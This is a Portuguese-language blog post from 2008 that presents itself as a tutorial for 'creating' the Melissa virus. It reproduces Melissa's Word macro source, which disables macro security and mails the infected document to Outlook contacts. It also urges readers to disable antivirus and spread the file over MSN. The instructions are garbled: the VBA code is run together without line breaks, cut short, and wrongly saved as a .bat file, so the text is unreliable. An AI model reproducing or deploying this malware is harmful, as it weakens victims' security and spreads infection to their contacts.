domingo, 17 de agosto de 2008

CRIANDO UM VIRUS MELISSA

UM VIRUS MELISSA E UM VIRUS MAIS PIRIGOSO DA INTERNET E MAIS PERIGOSO QUE O CAVALO DE TROIA E O TROJAN OS DOIS JUNTOS NAO E NADA PERTO DESSE VIRUS QUE VOU ENSINA VOCE CRIAR PESSOA

PRIMEIRO VA NESSE LUGAR


1º INICIAR>>
2ºPROGAMA>>
3ºACESSORIOS>>
4ºBLOCO DE NOTAS>>

OU INICIAR >>EXECUTAR>>notepad.exe

APARECEU O BLOCO DE NOTAS VOCE COPIA ESSE CODIGO AKI


Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.Logoff


E COLA NO BLOCO DE NOTAS E SALVA COMO >>HACK.BAT >>NAO COMO XX.TXT

A TEM MAIS UMA BLOQUER O SEU ANTI VIRUS SER NAO ELE ACUSAR
PARA MANDA NO MSN SO CHICK COM O BOTÃO DIREITO E NOVO ZIP E JA ERRA SO FELIZIDADE


QUEM GOSTA DA UM UP


ASS:Hacker_syntax4